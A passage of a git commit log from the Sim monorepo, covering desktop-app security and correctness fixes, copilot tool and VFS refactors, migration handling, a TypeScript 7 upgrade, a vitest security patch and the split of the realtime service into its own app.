reports the generated source as safe, so it was no defense. Patterns are now
bounded at six wildcards, which keeps the worst case near 2ms while leaving
headroom over real patterns (which top out around four). A timing probe backs
it up, with a budget loose enough that JIT warmth and machine load cannot make
it fire on a legitimate pattern — a tight budget proved flaky in both
directions.

The grep authorization guard compared `request.pattern !== args.pattern`, so a
tool call carrying no pattern made that `undefined !== undefined` and the guard
passed — grep then fell back to searching the renderer's own `query` across the
whole grant. `include` and `query` were never bound at all, letting a renderer
widen a search or silently narrow results the agent believes are complete. The
sibling glob case already had the `typeof` check, which is what made the
asymmetry clearly unintentional.

The IPC sender gate used `startsWith`, the exact pattern `isAppOrigin` warns
against 200 lines away ("that prefix-matches lookalike hosts"). It was safe only
because of a trailing slash. It now uses that helper, which also fixes a false
negative on an explicitly stated default port.

* fix(desktop): stop double sign-out, stranded retries, and redundant writes

Three correctness bugs from the same audit.

Menu Sign Out tore down the session directly instead of going through the
lifecycle coordinator, so it skipped the in-progress guard — and its own cookie
removal then tripped the coordinator's cookie watcher into a second concurrent
teardown, duplicating the sign_out event, the storage clear, and the /login
load. Teardown also existed as two divergent copies. The coordinator now
exposes `signOut()` and owns the single path; the menu just calls it. That
`tearDownSession` is no longer imported in index.ts is the check that it landed.

Offline recovery could strand permanently. The auto-retry loop stops itself
before calling `retry()`, and `retry()` never re-armed the load watchdog, which
is started once per window. So if a retried load hung — precisely what the
watchdog is for — no load event fired and no timer remained anywhere; the user
sat on the offline page until the window was closed. `retry()` now re-arms
before loading.

Pinned tabs were persisted on `did-navigate` and `did-navigate-in-page` for
every tab, pinned or not, with no change check, and the settings store compares
with `===` so a freshly built array never matched. Any single-page app
therefore triggered a synchronous mkdir + write + rename of the whole settings
file on the main thread on every route change — writing `[]` over `[]` when
nothing was pinned. The list is now fingerprinted, seeded at restore from what
is already on disk so the first navigation after launch is not a write either.

* fix(desktop): leaked timers, silent grep failures, and crashed tabs

Second pass on the audit backlog, all verified against tests that fail without
the change.

Every browser tool call leaked a timer. The watchdog raced the tool against
`sleep()`, which cannot be cancelled, so when the tool won — the normal case —
the timer stayed pending for the full window, up to two minutes, dozens deep
during an agent run. Replaced with a cancellable timeout cleared in a
`finally`; a test asserts the fake-timer count is unchanged across a call.

An invalid grep regex reported "no matches". A SyntaxError from `new RegExp`
returned an empty result set, which tells the model the string appears nowhere
in the user's files — a factual claim it acts on, when the search never ran. It
now fails as INVALID_REQUEST. The `safeRegex` guard moved out of the try while
there, since it was only inside it to be re-thrown.

A crashed tab wedged the session. Tabs left `tabs` only via close, so a dead
renderer stayed forever: `activeTab()` filtered it out while `activeTabId` still
named it, making `requireTab()` report "no page is open" with other tabs open,
and the panel went blank with no recovery. `render-process-gone` now drops the
tab, advances the active id, and reports session closure when it was the last.

`probeSession` cleared its abort timer inline after the await, so a thrown
fetch — the case the function exists for — skipped it. Moved to `finally`,
which also brings the body read inside the deadline.

One vanished file failed a whole directory listing: `Promise.all` over
per-entry `lstat` turned a single ENOENT into NOT_FOUND for the directory.
Churning directories like build output would intermittently fail to list.

Removed the `session-lifecycle -> browser-agent/driver` import edge, which
dragged the entire browser subsystem and its module-load `nativeTheme` listener
into the auth path to reach one four-line function. `clearBrowserProfile` is now
a required dependency wired from index.ts, which already owns both sides. Also
deleted `attachSessionLifecycle`, a compatibility wrapper with zero callers.

Added a channel-parity test between the preload bridge and the IPC table. They
share ~20 channel names as bare string literals with nothing tying them
together, so a typo on either side is a silently dead feature that type-checks
and ships. Verified it fails on a one-character change.

* fix(desktop): reach framed elements and harden the loopback sign-in

Two behaviour fixes from the audit backlog.

Interaction with same-origin iframes was broken. The snapshot deliberately
walks into those frames and hands the model ids for what it finds, but every
interaction then tested `instanceof HTMLInputElement` against the top frame's
constructors — false for nodes owned by a frame, because element wrappers are
realm-bound. So the driver reported a real `<input>` as "not a text input",
which took out framed login forms and editors that put a contenteditable body
in an iframe, such as TinyMCE. Framed selects reported "not a select" and
framed clicks skipped focus entirely. Checks now compare `tagName` or duck-type
the method being called, matching the realm-safe approach the credential guard
already used. The native value setter is taken from the element's own realm:
calling the top frame's setter on a frame's node throws "Illegal invocation".
Snapshot value reporting follows the same rule, which is safe because the
credential redaction above it is realm-safe and runs first.

The loopback sign-in server could be cancelled by anything on the machine. It
validated only the shape of the returned state, then tore the one-shot server
down and dispatched, leaving the real constant-time comparison to the callback.
So a request carrying any well-formed state killed an in-flight sign-in — and
the port is reachable by any local process and by any page the user has open
via a no-CORS GET, which cannot read the response but does not need to, since
the side effect is the kill. The state is now checked before anything is torn
down, and a Host that does not name the loopback is refused, which closes the
DNS-rebinding shape.

* refactor(desktop): drop duplicated helpers and stop logging query strings

Net -3 lines, and one of them was a real leak.

`navigation.ts` and `windows.ts` truncated URLs for their log lines with a bare
`.slice(0, 200)`, which keeps the query string — the five other log sites in the
app go through `scrubUrl` for exactly that reason. Tokens and signed parameters
live in query strings, so a blocked-URL warning could write one to disk. Both
now scrub.

`local-filesystem.ts` carried a private `isRecord` byte-identical to
`isRecordLike` in `@sim/utils/object`, and four more sites inlined the same
check. All now use the shared helper, which also tightens three of them: the
inline versions omitted the array exclusion, so an array satisfied a check that
then cast it to a record.

`tray.ts` hand-rolled slice-plus-ellipsis, the case `@sim/utils/string`'s
`truncate` exists for. Titles between 58 and 60 characters now get an ellipsis
where they previously did not — cosmetic, in a tray menu label.

Removed the `getTabsState` passthrough in the driver, a one-line re-export of
the session's own function, and renamed the session-level clear to
`clearProfileStorage`. `clearBrowserProfile` existed twice under one name, the
driver's being the composite that also clears the browsing-trail registry;
index.ts was already aliasing at the import to tell them apart.

Two things deliberately not done. The hand-rolled semver in updater.ts stays:
replacing it needs `semver` plus `@types/semver` as new declared dependencies
in the Electron main process, and the 90 lines it would delete are already
covered by eight assertions that I verified match the library's behaviour case
for case. Note the same prerelease comparison is duplicated in
apps/sim/lib/desktop/min-version.ts, so a future consolidation should do both.
No barrel for browser-agent either: routing `security-guards.ts` through one to
reach a single leaf function would pull the whole browser subsystem into its
module graph, which is the edge just removed from session-lifecycle.

* refactor(desktop): move browser compositing out of the session module

session.ts held five responsibilities in one flat namespace: 1,061 lines, 29
exports, 26 mutable module-level bindings. For contrast local-filesystem.ts is
a comparable 1,125 lines with two exports and no ambient state — size was never
the problem, the shared mutable namespace was.

Compositing is the part worth isolating. Where the native view sits, when it is
visible, which window owns it, the renderer bounds lease, and the occlusion
snapshot are the most intricate logic in the browser and are almost entirely
separable from tab bookkeeping. They now live in panel.ts (342 lines) and
session.ts is 792, with 15 bindings instead of 26.

The two modules were mutually dependent, which is what makes this kind of split
go wrong. Rather than events or a shared store, panel.ts takes the four things
it needs from the session through one PanelHost passed to initPanel — the same
shape as the existing initSession — so the import graph is one-way and there is
no new indirection to trace. Tab changes reach the panel by the session calling
layout(), exactly as before.

Two behaviours became explicit rather than implicit in the move:
detachIfAttached replaces callers reading `attachedView` to decide whether a
closing tab owns the surface, and isPanelVisible replaces `panelBounds !== null`.

Nothing about the split is verified by the split itself, so the bounds lease got
characterization tests first. It had none — there was not a single fake timer in
the suite — despite being the mechanism that hides the view when the renderer
crashes or wedges. Both tests were confirmed to fail against a broken lease
before the refactor began. The other 47 tests were not rewritten: only the
module their calls address changed, which is the useful signal that behaviour
was preserved.

Deliberately not split further. Focus tracking stays with tabs because it keys
off tab ids, and profile teardown stays put; separating either would be
taxonomy rather than decoupling.

* refactor: drop the legacy local_* filesystem tool shim

Granted folders are addressed through the ordinary VFS: the model calls
read/grep/glob against paths under user-local/, exactly as it does for
workspace files. A parallel local_read / local_grep / local_glob / local_list /
local_stat / local_mount_directory / local_list_mounts / local_forget_mount /
local_stage_file toolset existed alongside it, recognized but never advertised,
so an in-flight checkpoint written by an older desktop build could still finish.

There are no older desktop builds. apps/desktop is at version 0.0.0, the only
artifacts are a local 0.0.0 build, MIN_DESKTOP_VERSION is '0.0.0' meaning no
floor, and the app does not exist on staging at all — the v0.7.x tags are the
web app's. Nothing can have persisted a checkpoint naming these tools, and
nothing advertises them: they are absent from the generated tool catalog and
from mothership's catalog. The shim was defending against a past that never
happened.

Removes the name table, the legacy request builder, the server-side
LEGACY_READ_ONLY_TOOLS allowlist, the five local_* branches in the desktop
authorization switch, and nine display labels. isDesktopFilesystemToolCall
collapsed into isUserLocalVfsToolCall, which it had become a synonym for.

Two tests went with it. One asserted that local_list_mounts routes to the
desktop; the test immediately after it already covers the real path, an
ordinary read against a user-local path. The other asserted that legacy names
cannot open a folder picker, revoke a grant, or upload bytes — that property
now holds because no such tool name exists, which is a stronger guarantee than
refusing one.

* refactor(copilot): remove the plan/changelog VFS artifacts and workflow aliases

These beta surfaces are not a direction we are taking, so they come out rather
than staying behind a flag. Gone: the workflow alias modules (path resolution,
DB-backed resolver, .plans/.changelogs backing provisioning), the alias
materialization in the copilot VFS, the alias write paths in resource-writer
and workspace_file, the sandbox alias mounts in function_execute, the reserved
backing-path guards across mkdir/mv/create, and the alias resolution in the
chat home file picker.

xlsx survives but changes owner. It was gated twice across the repo boundary:
mothership's xlsx-writing flag gates the skill and prompt, while Sim gated the
compile path on mothership-beta. Those live in separate AppConfig applications,
so an operator had to flip two flags in two consoles, and off-hosted Sim fell
back to the MOTHERSHIP_BETA_FEATURES secret while the mothership half stayed in
Sim Cloud's AppConfig — split-brain across an ownership boundary. Mothership
controls whether the model ever learns xlsx exists, so if it is never offered
it is never requested and the second chokepoint only created a way for the two
halves to disagree. Sim's gate is removed; xlsx-writing is now the single owner.

With its last consumer gone, the mothership-beta flag and the
MOTHERSHIP_BETA_FEATURES secret are deleted. The two entries in the infra repo
are harmless until removed separately: they only inject an env var nothing
reads, and createEnv runs with skipValidation.

The reserved-system-file/folder concept goes with the aliases, since it existed
only to hide the backing rows. includeReservedSystemFiles and
includeReservedSystemFolders are removed rather than left as options every
caller passes true to. backingVfsPath is removed for the same reason — nothing
sets it once aliases are gone, so it was an always-undefined field on tool
results.

Test coverage is preserved rather than deleted with the feature.
resource-writer.test.ts looked alias-only but three of its eleven cases cover
the generic create path that survives; those are kept and the file retitled.
Two open_resource tests and one output-path test used alias-shaped strings
while asserting generic behavior; retargeted or dropped where a sibling already
covers it.

* refactor(copilot): remove the dead planArtifact column plumbing

copilot_chats.plan_artifact has no writer and no reader that does anything with
it. No client sends it, nothing renders it, and its whole history is fork-chat
and duplicate-chat plumbing faithfully copying a column that is always null —
the one change that might have populated it (mothership v0.8) was reverted.

Removed from the schema, the copilot API contract, the chat lifecycle column
sets, the fork route, superuser import, the data drain, the update-messages
write path, and the legacy chat detail response.

No migration here on purpose. The column stays in the database, orphaned and
null; dropping it is a separate deliberate step rather than something that
rides along with a code cleanup. Note that the next drizzle-kit generate will
now want to emit the DROP COLUMN, and check-migrations-safety will ask for it
to be annotated — that is the right moment to decide, not now.

Mothership never saw this field; it is Sim-side only.

* chore(copilot): sync the tool catalog for load_skill

Picks up the new load_skill tool plus the grep description that dropped its
stale reference to VFS "plans" entries. Generated from
copilot/contracts/tool-catalog-v1.json.

* refactor(copilot): follow the load_custom_tool rename to load_mcp_tool

Mothership renamed the loader once it was clear MCP was the only catalog kind
it could match, and dropped the single-valued `type` parameter. The two prompt
strings that teach the model the call shape are updated to
load_mcp_tool({ name }).

load_custom_tool stays in the UI hide-list next to load_agent_skill so tool
rows in historical transcripts keep rendering; nothing emits it any more.

* chore(copilot): sync the tool catalog and hide load_skill in the UI

load_integration_tool and list_integration_tools now publish route go/sync
instead of sim/async. Nothing changes in Sim's behavior — they always ran in
Go; the contract had been wrong.

load_skill joins the hidden tools. It is the same shape as the other loaders
already there: the agent pulling in a reference guide before doing the work is
a step toward the action, not the action. Sim's display-coverage test caught
that a newly added visible tool had no title or completed verb, which is the
guard working.

* fix(auth): handle session expiry in the app, not the desktop shell

The workspace auth gate is a Server Component, so it only re-evaluates on a
server render. A session that expired or was revoked mid-visit left the SPA
mounted and silently 401ing every request, with nothing to redirect it.

The desktop shell had grown its own detector for this: a 401 listener over
/api/*, a session probe, and a native "your session has expired" prompt. It
could only infer session state from cookie events and HTTP statuses, and it
inferred wrong — it fired on ordinary sign-outs (in-flight requests 401 during
teardown) and on launching already signed out (the window still shows the
restored route while the web app redirects). Those were nearly all of its
firings, since a 30-day sliding window means real expiry is rare.

Generalizes the impersonation-expired screen instead, which already had the
right shape: it keys off the session query settling to null after a session
that was live. A signed-out visitor never arms it, and `error` is excluded so
an offline blip cannot read as an expiry. The session query now refetches on
focus for every session, not just impersonation ones, so returning to a window
that slept through its session re-checks it.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01C54QHj4WPV777Fq2yRwkcb

* fix(copilot): port the scheduled-task and VFS fixes onto staging-v4

Replays the sim-side prompt-audit work on top of staging-v4.

complete_scheduled_task was filtered out of the execute route's response
payload, so an until_complete job could report completion and still be
rescheduled; the post-run bookkeeping now also refuses to revive a job that
already completed. Also clamps browser_wait_for's timeout the way the desktop
agent does, and replaces the oversized-read error's offset/limit advice, which
sent the model into a guaranteed retry loop.

* feat(desktop): let the model actually see browser screenshots

browser_screenshot captured an image and then threw it away. The renderer
stripped the data URL and substituted a note, and the tool's own description
told the model not to bother: "Dead end for perception." So the agent was
blind to anything not expressible as DOM text — canvas, charts, maps, images,
rendering and layout bugs.

The copilot has carried the machinery for this all along. A tool result shaped
as { content, attachment: { type: "image", source: { type: "base64", ... } } }
is serialized into a real image content block, with the media type sniffed from
the bytes rather than trusted from the declaration, and degraded to a text stub
when the routed model has no vision so the provider never 400s. The screenshot
result is now reshaped into that contract instead of discarded. A malformed
data URL still falls back to a note rather than shipping an attachment the
provider would reject.

Captures are bounded to a 1024px longest edge at quality 70. CDP clip.scale is
relative to CSS pixels, so this also sidesteps the device pixel ratio — an
unclipped capture on a retina display returns a 2x image, which was several
hundred kilobytes for no legibility the model could use.

The description is rewritten to bias toward visual questions only: appearance,
layout, rendering, charts, canvas. Reading content or finding something to
click stays with browser_snapshot, which is cheaper and returns the element ids
a screenshot cannot. That distinction is structural, not just advisory — having
seen the page does not let the agent act on it.

Companion change in mothership generalizes the tool-result inline-budget
exemption from "the read tool" to "any result carrying a model attachment".
Keyed on the tool name, an oversized screenshot fell through to the artifact
branch: the image was replaced by a reference the model cannot open, and the
result still reported success. Silent, and it would have hit almost every call.

* fix(desktop): polish browser panel and environment tray icon

* fix(desktop): enlarge environment tray markers

* fix(desktop): smooth environment tray markers

* refactor(copilot): consolidate resource mutation tools

* chore(copilot): clean up VFS follow-ups

* fix(desktop): round the dev tray marker

* feat(desktop): add integrated terminal resources

* Fix electron app resize causing glitchy browser frames

* feat(copilot): add persistent tool permissions

* fix(copilot): retire stale tool permission prompts

* fix(desktop): keep terminal rendering responsive

* fix(desktop): preserve resource rendering continuity

* feat(desktop): add browser tab duplication actions

* feat(desktop): add terminal tab context actions

* fix(desktop): allow browser agent localhost navigation

* feat(desktop): add tmux-backed terminal sessions

* fix(desktop): restore terminal scrollback per view

* chore(copilot): sync updated wait tool contract

* poll terminal session state for non regular shells

* add terminal right click menu

* feat(desktop): add terminal handoff and key batching

* fix(desktop): reserve the traffic-light lane from the platform

macOS draws the window controls itself, at a fixed physical size, above all web
content. The page renders full-bleed beneath them, so it has to reserve that
lane — and it did so with five hardcoded CSS pixel values. CSS pixels scale with
page zoom and the OS-drawn lights do not, so zooming out shrank the reservation
until the lights were drawn over the sidebar toggle, and the header row below
sat inside their band.

Electron's `titleBarOverlay` publishes the controls' real geometry to the page as
the `titlebar-area-*` env vars, which Chromium rescales per zoom so a reservation
derived from them holds its physical size. Measured across zoom 0.58-1.2, the
reserved area stays within ~0.6 DIP, the residual coming from env values being
quantized to whole CSS pixels.

Every lane length now derives from those vars, so the login route and the
mothership content offset were fixed without being touched — they already read
`--desktop-title-bar-height`. Two of the replaced constants were also simply
wrong: the platform reports the lane at 38px and the safe area at 81px, against
the hand-measured 36 and 83.

The toggle keeps a constant physical size beside the lights, expressed as a
proportion of the lane rather than in pixels: a px literal would scale with zoom,
and calc cannot divide a length by a length to recover a scale factor.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01C54QHj4WPV777Fq2yRwkcb

* fix(desktop): avoid transient terminal tab labels

* feat(copilot): attach browser and terminal tab context

* feat(desktop): close tmux panes from terminal tools

* fix(desktop): keep terminal tab icons stable

* add right click to browser and cleanup terminal right click options

* fix(desktop): reduce hidden panel background work

* perf(desktop): shrink browser panel snapshots

* perf(desktop): reduce terminal main process overhead

* perf(terminal): pause work for hidden sessions

* fix session arch for desktop

* fix(desktop): replace exited terminal sessions

* feat(copilot): persist desktop resources across chats

* fix(emcn): keep resource tab widths consistent

* fix(copilot): restore active client panels

* feat(desktop): import Chrome browser data

* fix(copilot): close resources before chat creation

* feat(desktop): suggest imported browser sites

* fix(desktop): autofill identifier-first sign-ins

* fix resizing issues + cookies source

* fix visits marking

* chore(db): drop branch migrations ahead of staging merge

0264/0265 on this branch collide with staging's 0264-0270 on both the
journal idx slots and the meta snapshot filenames. Reverting the migration
artifacts to the merge-base lets staging's chain merge cleanly; schema.ts
keeps the copilot changes and drizzle-kit regenerates a single migration on
top of 0270 after the merge.

Co-Authored-By: Claude <noreply@anthropic.com>

* feat(db): regenerate copilot tool-permission migration on top of staging

Replaces the branch's old 0264/0265 (dropped pre-merge so staging's
0264-0270 chain could apply cleanly) with a single 0271 generated against
staging's schema: the permission-decision enum, the two
copilot_async_tool_calls decision columns, and copilot_chats.auto_allowed_tools.

Deliberately does NOT drop copilot_chats.plan_artifact. The branch removed
every reader, but the currently-deployed code still SELECTs that column, so
dropping it in the same deploy breaks the old app version during blue/green
overlap — `check:migrations` flags it for exactly this reason, and the honest
fix is to defer rather than annotate around it. The column is retained in
schema.ts marked @deprecated; drop it in a follow-up once this has rolled out.

Also in this commit, all fallout from the merge itself:
- pinned-fetch/revoke tests: their private-IP stub moved to @sim/security/ssrf
  alongside the source change. Worth noting the stub exists because the suite's
  203.0.113.10 is TEST-NET-3, which the real classifier correctly calls
  reserved — the old stub had been quietly disagreeing with production.
- materialize-file test: dropped the reserved-system-folder case, which covered
  the workflow-alias backing folders this branch deleted.
- api-validation route ratchet 977 -> 983 (this branch's new routes).

Co-Authored-By: Claude <noreply@anthropic.com>

* add cmd f

* review pass

* chore(db): drop branch migration ahead of staging merge

Both sides independently claimed idx 0271, so the snapshot and journal would
conflict add/add. Ours is plain additive DDL that drizzle regenerates from
schema.ts; staging's is a hand-written CONCURRENTLY index build that cannot be
regenerated. Dropping ours and re-generating on top of staging's is the only
order that preserves both.

schema.ts is deliberately untouched — it is the source of the regeneration.

Co-Authored-By: Claude <noreply@anthropic.com>

* chore(db): drop branch migration ahead of staging merge

Both sides independently claimed idx 0272, so the snapshot and journal would
conflict add/add. Ours is plain additive DDL (one enum, two columns, one jsonb
default) that drizzle regenerates from schema.ts; staging's is a hand-written
migration with DO blocks and CONCURRENTLY index builds that cannot be
regenerated. Dropping ours and re-generating on top of staging's is the only
order that preserves both.

schema.ts is deliberately untouched — it is the source of the regeneration.

Co-Authored-By: Claude <noreply@anthropic.com>

* style(db): biome-format the regenerated migration metadata

drizzle-kit emits _journal.json and the snapshot with expanded arrays, which
biome check rejects. The merge commit used --no-verify, so lint-staged never
formatted them and CI's lint step failed on exactly these two files.

Whitespace only — both files are byte-identical under `jq -S -c`.

Co-Authored-By: Claude <noreply@anthropic.com>

* fix(desktop): pin the platform in the OS-auth tests

promptForSecret gates Touch ID on process.platform === 'darwin'. The suite
mocked electron's systemPreferences but inherited the runner's real platform,
so the eight biometric expectations passed on a Mac and failed on Linux CI,
where every call fell through to the confirmation dialog instead.

Pins the platform per-test and restores it after, and adds a case for the gate
itself — the branch whose absence from the suite is what let this through.

Co-Authored-By: Claude <noreply@anthropic.com>

* fix(desktop): refine environment dock icons

* fix(desktop): align packaged environment icons

* fix(desktop): keep packaged dock icon rendering consistent

---------

Co-authored-by: Vikhyath Mondreti <vikhyath@simstudio.ai>
Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
Co-authored-by: Waleed <walif6@gmail.com>
Co-authored-by: Theodore Li <theo@sim.ai>
2026-07-28 19:25:59 -07:00
Waleed d078c84ee6 chore(typescript): upgrade to TypeScript 7 (native Go compiler) (#5521)
* chore(typescript): upgrade to TypeScript 7 (native Go compiler)

Bumps typescript to ^7.0.2 across every workspace package. Full
bun run type-check/lint/build/test all pass; apps/sim's type-check
(the one needing an 8GB heap bump) drops from ~55s to ~7s wall time.

Migration fixes required by TS7's stricter defaults:
- baseUrl removed: drop it from 5 tsconfigs (paths already resolved
  relative to tsconfig dir, so behavior is unchanged) and prefix the
  one bare (non-relative) paths entry each in apps/sim and
  apps/realtime with './'
- moduleResolution=node10 removed: switch packages/cli and
  packages/ts-sdk to "bundler", matching the rest of the monorepo
- types now defaults to [] instead of auto-including every @types/*
  package: add "types": ["node"] to the shared base tsconfig (this
  is fundamentally a Node monorepo, so this restores prior behavior
  in one place instead of duplicating it per-package), add explicit
  @types/node deps to packages that now rely on it transitively via
  @sim/db/@sim/logger, and add "declare module '*.css'" to the two
  packages with plain (non-module) CSS side-effect imports that
  TS7's stricter checker now flags
- packages/logger's isomorphic `typeof window` check no longer needs
  DOM lib in every consumer: replaced with `'window' in globalThis`
- packages/testing and apps/realtime's fetch/DOM mocks need DOM lib
  where they're compiled, since they model the browser Fetch API
- the `typescript` npm package no longer exports the classic
  Compiler API from its main entry (moved to unstable/ast subpaths);
  apps/sim's Function-block route used it at runtime to strip
  import statements from user code, so that one call site now uses
  Microsoft's official transition package, @typescript/typescript6
- Next.js 16.2.6's own TypeScript-detection heuristic hardcodes a
  path TS7 no longer ships, and its auto-install fallback assumes
  npm/pnpm; added @typescript/native-preview as a devDependency to
  apps/sim and apps/docs so Next detects a valid native compiler
  instead of trying (and failing) to auto-install one

Not merging yet: TS 7.0.2 published today and is still inside this
repo's bunfig.toml minimumReleaseAge (7-day) supply-chain gate, so
`bun install` will fail for everyone until 2026-07-15. Opening this
now to get it through review; hold the actual merge until then.

* fix(typescript): address Greptile review findings on TS7 upgrade

- packages/logger: 'window' in globalThis treats a shim that leaves
  globalThis.window explicitly undefined as browser-only, silently
  dropping production server logs. Restore the original
  typeof !== 'undefined' semantics via an inline cast instead, so it
  stays correct without requiring DOM lib in every consumer.
- packages/ts-sdk, packages/cli: both are tsc-built, published as
  Node ESM (package.json "type": "module" with an "exports" map).
  "moduleResolution": "bundler" is too permissive for that target -
  it accepts import patterns (e.g. extensionless relative imports)
  that Node's actual ESM resolver rejects at runtime. Switch both to
  "module"/"moduleResolution": "nodenext", the correct pairing for a
  published Node ESM package. Verified real tsc builds (not just
  --noEmit) still succeed for both.

* chore(bunfig): temporarily disable minimumReleaseAge gate for TS7 install

TS 7.0.2 published today, still inside the 7-day gate. Lowering to 0
to unblock this merge; will restore to 604800 in an immediate follow-up
commit right after merging.
2026-07-08 16:41:23 -07:00
Waleed a7b0bd311d fix(deps): upgrade vitest to ^4.1.0 to patch critical Vitest UI advisory (GHSA-5xrq-8626-4rwp) (#4837)
* fix(deps): upgrade vitest to ^4.1.0 to patch critical Vitest UI advisory (GHSA-5xrq-8626-4rwp)

- Bump vitest and @vitest/coverage-v8 to ^4.1.0 across all workspaces (only patched release for the critical 'Vitest UI server arbitrary file read/execute' advisory; no 3.x backport exists)
- Widen @sim/testing peer range to ^3.0.0 || ^4.0.0
- Migrate constructor mocks to class expressions: vitest 4 uses Reflect.construct for mocks invoked with new, and arrow/function implementations are not constructable (function expressions also get reverted to arrows by biome's useArrowFunction)
- Remove deprecated test.poolOptions from apps/sim/vitest.config.ts (options are now top-level in vitest 4)

* fix(deps): exclude vulnerable vitest 4.0.x from @sim/testing peer range

Tighten the v4 arm of the peer range to >=4.1.0 <5.0.0 so the peer
requirement cannot be satisfied by the unpatched 4.0.x builds that
GHSA-5xrq-8626-4rwp affects.

* fix(testing): make vitest 4 constructor mocks type-check cleanly

- logging-session & mcp-oauth mocks: a class passed to mockImplementation has
  a construct signature that isn't assignable to its (...args) => any parameter,
  failing tsc. Use named function declarations instead (constructable via
  Reflect.construct, assignable to mockImplementation, and not rewritten to
  arrows by biome's useArrowFunction).
- database.mock.ts: vitest 4's generic vi.fn typings no longer break the
  self-referential cycle on the transaction callback's tx param; loosen tx and
  annotate the callback's return type to resolve the implicit-any errors.

* test(isolated-vm): de-flake queue-capacity scheduler tests

The 'queue is full' and 'per-owner queued limit' tests relied on
'await sleep(1)' to assume the first request had reached the queue before
submitting the overflow request. The first request only enqueues after an
async spawn-failure chain (acquireWorker -> spawn exit -> resolve null ->
enqueue), which isn't guaranteed within 1ms under CI load — the overflow
request then found an empty queue and hit the 200ms queue-wait timeout
instead of the capacity rejection.

Replace the wall-clock barrier with a deterministic, event-driven one: hold
the single global concurrency slot (IVM_MAX_CONCURRENT=1) with an active
worker and await an explicit 'dispatched' signal (fired when the worker
receives its execute message, after the scheduler counts it active). The
follow-up requests then deterministically hit the synchronous enqueue path.
Also drops the queue-wait timeout from 200ms to 50ms, so the tests run faster.
2026-06-01 16:11:35 -07:00
5f0f0edd63 improvement(repo): separate realtime into separate app (#4262)
* improvement(repo): restructuring to make realtime image narrower scoped

* improvements

* chore(repo): rebase fixes and quality improvements for realtime split

Addresses merge-time issues and gaps from the realtime app split:
- Retarget stale vi.mock paths to @sim/workflow-persistence/subblocks
- Restore README branding, fix AGENTS.md script reference
- Restore TSDoc on workflow-persistence subblocks helpers
- Use toError() from @sim/utils/errors in save.ts
- Add vitest config + local mocks so @sim/audit tests run standalone
- Move socket.io-client to devDependencies in apps/realtime
- Add missing package COPY steps to docker/app.Dockerfile
- Add check:boundaries/check:realtime-prune scripts and wire into CI

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>

* refactor(security): consolidate crypto primitives into @sim/security

Move general-purpose crypto primitives out of apps/sim into the
@sim/security package so both apps/sim and apps/realtime can share them.

@sim/security exports (all pure, dependency-free):
  ./compare    safeCompare (constant-time HMAC-wrapped equality)
  ./encryption encrypt/decrypt (AES-256-GCM, iv:cipher:tag format)
  ./hash       sha256Hex
  ./tokens     generateSecureToken (base64url)

Migrate apps/sim call sites to use these + @sim/utils helpers:
  crypto.randomUUID()            -> generateId() from @sim/utils/id
  createHash('sha256').digest    -> sha256Hex
  timingSafeEqual on hashed hex  -> safeCompare
  new Promise(setTimeout)        -> sleep from @sim/utils/helpers

No behavior change: encryption format, digest output, and token
length are preserved exactly.

* refactor(copilot): use toError in remaining otel/finalize sites

Replace the last two `error instanceof Error ? error : new Error(String(error))`
patterns with toError from @sim/utils/errors. Completes the sweep of clean
candidates — no behavior change.

* refactor(security): consolidate HMAC-SHA256 primitives into @sim/security

Adds hmacSha256Hex and hmacSha256Base64 to @sim/security/hmac and migrates
15 webhook providers plus 5 other hot paths (deployment token signing,
outbound webhook requests, workspace notification delivery, notification
test route, Shopify OAuth callback) off bare `createHmac` calls. Secret
parameter accepts `string | Buffer` to cover base64-decoded Svix-style
secrets (Resend) and MS Teams' HMAC scheme. AWS SigV4 signing in S3 and
Textract tools intentionally retains direct `createHmac` usage — its
multi-step key derivation chain doesn't fit a generic helper.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>

* chore(packages): post-audit test + packaging polish

- Add safeCompare unit tests (identity, length mismatch, hex-nibble diff).
- Add Buffer-secret cases to hmac tests to lock in Svix/MS-Teams contract.
- Declare `reactflow` as a peerDependency on @sim/workflow-types — only used for type imports.
- Add a barrel export to @sim/workflow-persistence for consumers that prefer package-level imports; subpath exports retained.
- Document the data-field invariant in load.ts for loop/parallel subflow patching.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>

* chore(realtime): address PR review feedback

- Remove redundant SOCKET_PORT=3002 env from Dockerfile runner stage
  (env.PORT already defaults to 3002 via zod schema).
- Reorder PORT fallback so an explicitly-set SOCKET_PORT wins over
  the schema default for PORT; keeps SOCKET_PORT functional as an
  override instead of dead code.
- Add dedicated type-check CI step for @sim/realtime so TS errors
  surface pre-deploy (the Dockerfile runs source TS via Bun and has
  no implicit build-time type check).

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>

* chore(realtime): remove unused SOCKET_PORT env var

SOCKET_PORT has lived in the socket server since the June 2025 refactor
but was never actually set in any deploy config — docker-compose.prod,
helm values/templates, .env.example, and docs all use PORT or the 3002
default exclusively. No self-hoster was ever pointed at SOCKET_PORT, so
removing it is safe.

Simplifies realtime port resolution to `env.PORT` (zod-validated with a
3002 default) and drops the orphaned sim-side schema entry.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>

---------

Co-authored-by: Waleed Latif <walif6@gmail.com>
Co-authored-by: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-22 23:06:16 -07:00